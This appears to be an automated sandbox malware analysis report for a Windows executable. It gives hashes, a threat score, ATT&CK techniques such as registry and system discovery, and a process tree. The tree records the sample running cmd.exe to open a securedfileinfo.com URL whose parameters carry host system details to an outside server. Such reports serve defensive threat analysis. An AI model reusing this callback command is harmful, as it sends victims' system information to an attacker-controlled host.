fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec

Analysis

max time kernel
150s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 16:15

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General

Target

fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe
Size

143KB
MD5

6ed9a1b21c3a78abeed8040c458788b1
SHA1

af29eb7aaeaecf310e2153112b77dc269e556b3f
SHA256

fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec
SHA512

d6d74fd979e45a192a22102fc5ee1198737c1bd9cd2f6fcb2cf381ef227ac02b589d5b2ee0ec4066b5d1517593ad9ebdc87c0b2cc099d14807a7bf5505a8a90a
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45Dvk:pe9IB83ID5g

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4728	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4728	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4728 wrote to memory of 3740	4728	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe	89
PID 4728 wrote to memory of 3740	4728	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe	89
PID 4728 wrote to memory of 3740	4728	fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe	89

C:\Users\Admin\AppData\Local\Temp\fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe
"C:\Users\Admin\AppData\Local\Temp\fa898867ce49e0f214f93f8b0802f2b31dd20084aaab818800c8768ce5041fec.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4728
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300031^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt33^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  PID:3740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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